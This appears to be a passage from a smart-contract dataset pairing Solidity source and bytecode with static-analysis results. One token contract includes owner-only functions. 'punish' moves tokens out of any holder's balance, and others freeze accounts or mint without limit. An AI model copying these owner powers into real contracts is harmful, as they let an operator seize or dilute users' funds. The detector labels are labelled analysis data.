836040518082815260200191505060405180910390a350565b611140611391565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611287576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611ae26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561141f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611bc56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114a5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b086022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611616576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611ba06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561169c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611a9e6023913960400191505060405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117475750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156117a757600a5481106117a6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611b506028913960400191505060405180910390fd5b5b61181381604051806060016040528060268152602001611b2a60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a881600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c75780820151818401526020810190506119ac565b50505050905090810190601f1680156119f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a2063616e6e6f74207065726d6974207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63655472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220045dd1ce2ea572162990186f5888c07417c4058b3a4c5848a41e1f1f7f73ae8e64736f6c63430006030033
{"success": true, "error": null, "results": {}}
3,151
0x47a350bb713542cb629bd4c759d54e2572978562
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 0; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value;//交易发起者允许地址是——spender的用户对他自己的代币可以转移的数量 return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract MyAdvancedToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; mapping (address => uint) public lockedAmount; mapping (address => uint) public lockedTime; /* public event about locking */ event LockToken(address target, uint256 amount, uint256 unlockTime); event OwnerUnlock(address target, uint256 amount); event UserUnlock(uint256 amount); /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function MyAdvancedToken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } //pay violator&#39;s debt by send coin function punish(address violator,address victim,uint amount) public onlyOwner { _transfer(violator,victim,amount); } function rename(string newTokenName,string newSymbolName) public onlyOwner { name = newTokenName; // Set the name for display purposes symbol = newSymbolName; } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value *(10**18)/ buyPrice; // calculates the amount///最小单位 _transfer(owner, msg.sender, amount); // makes the transfers //向合约的拥有者转移以太币 if(!owner.send(msg.value) ){ revert(); } } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } /// @notice lock some amount token /// @param target address which will be locked some token /// @param lockAmount token amount /// @param lockPeriod time until unlock function lockToken (address target, uint256 lockAmount, uint256 lockPeriod) onlyOwner public returns(bool res) { require(balanceOf[msg.sender] >= lockAmount); // make sure owner has enough balance require(lockedAmount[target] == 0); // cannot lock unless lockedAmount is 0 balanceOf[msg.sender] -= lockAmount; lockedAmount[target] = lockAmount; lockedTime[target] = now + lockPeriod; LockToken(target, lockAmount, now + lockPeriod); return true; } /// @notice cotnract owner unlock some token for target address despite of time /// @param target address to receive unlocked token /// @param amount unlock token amount, no more than locked of this address function ownerUnlock (address target, uint256 amount) onlyOwner public returns(bool res) { require(lockedAmount[target] >= amount); balanceOf[target] += amount; lockedAmount[target] -= amount; OwnerUnlock(target, amount); return true; } /// @notice user unlock his/her own token /// @param amount token that user wish to unlock function userUnlockToken (uint256 amount) public returns(bool res) { require(lockedAmount[msg.sender] >= amount); // make sure no more token user could unlock require(now >= lockedTime[msg.sender]); // make sure won&#39;t unlock too soon lockedAmount[msg.sender] -= amount; balanceOf[msg.sender] += amount; UserUnlock(amount); return true; } /// @notice multisend token to many address /// @param addrs addresses to receive token /// @param _value token each addrs will receive function multisend (address[] addrs, uint256 _value) public returns(bool res) { uint length = addrs.length; require(_value * length <= balanceOf[msg.sender]); uint i = 0; while (i < length) { transfer(addrs[i], _value); i ++; } return true; } }
0x606060405260043610610180576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461018557806306fdde03146101b1578063095ea7b31461023f57806318160ddd1461029957806323b872dd146102c25780632dc9ad7f1461033b578063313ce567146103b65780633266fb05146103e557806340528f981461043257806342966c681461048c5780634b750334146104c757806370a08231146104f057806379c650681461053d57806379cc67901461057f578063839972f9146105d95780638620410b1461063c5780638da5cb5b1461066557806395d89b41146106ba5780639748dcdc146107485780639c7c722b146107a9578063a153e70814610849578063a6f2ae3a14610896578063a9059cbb146108a0578063b10cf224146108e2578063b414d4b61461091d578063cae9ca511461096e578063dd62ed3e14610a0b578063e4849b3214610a77578063e724529c14610a9a578063f2fde38b14610ade575b600080fd5b341561019057600080fd5b6101af6004808035906020019091908035906020019091905050610b17565b005b34156101bc57600080fd5b6101c4610b84565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102045780820151818401526020810190506101e9565b50505050905090810190601f1680156102315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561024a57600080fd5b61027f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c22565b604051808215151515815260200191505060405180910390f35b34156102a457600080fd5b6102ac610caf565b6040518082815260200191505060405180910390f35b34156102cd57600080fd5b610321600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cb5565b604051808215151515815260200191505060405180910390f35b341561034657600080fd5b61039c600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019091905050610de2565b604051808215151515815260200191505060405180910390f35b34156103c157600080fd5b6103c9610e82565b604051808260ff1660ff16815260200191505060405180910390f35b34156103f057600080fd5b61041c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e95565b6040518082815260200191505060405180910390f35b341561043d57600080fd5b610472600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ead565b604051808215151515815260200191505060405180910390f35b341561049757600080fd5b6104ad6004808035906020019091905050611067565b604051808215151515815260200191505060405180910390f35b34156104d257600080fd5b6104da61116b565b6040518082815260200191505060405180910390f35b34156104fb57600080fd5b610527600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611171565b6040518082815260200191505060405180910390f35b341561054857600080fd5b61057d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611189565b005b341561058a57600080fd5b6105bf600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112fa565b604051808215151515815260200191505060405180910390f35b34156105e457600080fd5b610622600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091905050611514565b604051808215151515815260200191505060405180910390f35b341561064757600080fd5b61064f611764565b6040518082815260200191505060405180910390f35b341561067057600080fd5b61067861176a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106c557600080fd5b6106cd61178f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561070d5780820151818401526020810190506106f2565b50505050905090810190601f16801561073a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561075357600080fd5b6107a7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061182d565b005b34156107b457600080fd5b610847600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611898565b005b341561085457600080fd5b610880600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611925565b6040518082815260200191505060405180910390f35b61089e61193d565b005b34156108ab57600080fd5b6108e0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506119e9565b005b34156108ed57600080fd5b61090360048080359060200190919050506119f8565b604051808215151515815260200191505060405180910390f35b341561092857600080fd5b610954600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b70565b604051808215151515815260200191505060405180910390f35b341561097957600080fd5b6109f1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611b90565b604051808215151515815260200191505060405180910390f35b3415610a1657600080fd5b610a61600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611d0a565b6040518082815260200191505060405180910390f35b3415610a8257600080fd5b610a986004808035906020019091905050611d2f565b005b3415610aa557600080fd5b610adc600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611dab565b005b3415610ae957600080fd5b610b15600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ed0565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b7257600080fd5b81600781905550806008819055505050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c1a5780601f10610bef57610100808354040283529160200191610c1a565b820191906000526020600020905b815481529060010190602001808311610bfd57829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d4257600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610dd7848484611f6e565b600190509392505050565b600080600084519150600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482850211151515610e3b57600080fd5b600090505b81811015610e7657610e698582815181101515610e5957fe5b90602001906020020151856119e9565b8080600101915050610e40565b60019250505092915050565b600360009054906101000a900460ff1681565b600b6020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0a57600080fd5b81600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610f5857600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507fe4eb7b10c3fadeb517b2c52a32eaf0309e4d2a2d04d8f3d711a97045998d8d848383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001905092915050565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156110b757600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60075481565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111e457600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561134a57600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113d557600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157157600080fd5b82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156115bf57600080fd5b6000600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414151561160d57600080fd5b82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555082600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550814201600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f2d814308d70a2c356e04b9495a463b35b22563f541e00d2dad99471d284966128484844201604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1600190509392505050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118255780601f106117fa57610100808354040283529160200191611825565b820191906000526020600020905b81548152906001019060200180831161180857829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561188857600080fd5b611893838383611f6e565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118f357600080fd5b8160019080519060200190611909929190612226565b508060029080519060200190611920929190612226565b505050565b600a6020528060005260406000206000915090505481565b6000600854670de0b6b3a7640000340281151561195657fe5b0490506119856000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383611f6e565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015156119e657600080fd5b50565b6119f4338383611f6e565b5050565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611a4857600080fd5b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544210151515611a9657600080fd5b81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507fe57b847e05a754e2f7267c32d931fb1c063de32ca355da7b9dd85db467a8143f826040518082815260200191505060405180910390a160019050919050565b60096020528060005260406000206000915054906101000a900460ff1681565b600080849050611ba08585610c22565b15611d01578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611c9a578082015181840152602081019050611c7f565b50505050905090810190601f168015611cc75780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515611ce857600080fd5b5af11515611cf557600080fd5b50505060019150611d02565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b60075481023073ffffffffffffffffffffffffffffffffffffffff163110151515611d5957600080fd5b611d64333083611f6e565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60075483029081150290604051600060405180830381858888f193505050501515611da857600080fd5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e0657600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f2b57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff1614151515611f9457600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611fe257600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561207057600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156120c957600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561212257600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061226757805160ff1916838001178555612295565b82800160010185558215612295579182015b82811115612294578251825591602001919060010190612279565b5b5090506122a291906122a6565b5090565b6122c891905b808211156122c45760008160009055506001016122ac565b5090565b905600a165627a7a7230582064ceb585a1915dad2b27df1565f0c5f3999eb03e46a607dd6212b8d0750ecfca0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
3,152
0x0461de0ab4c3f097873f776e4b374da0656ee5d9
/** *Submitted for verification at Etherscan.io on 2022-04-06 */ /** LUFFY JOY BOY Anti-whaled🛡️ 1% Max buy!💪 ‼️Telegram 🥊: https://t.me/LuffyErc ‼️Website🔍 : https://luffyjoyboy.com/ */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) 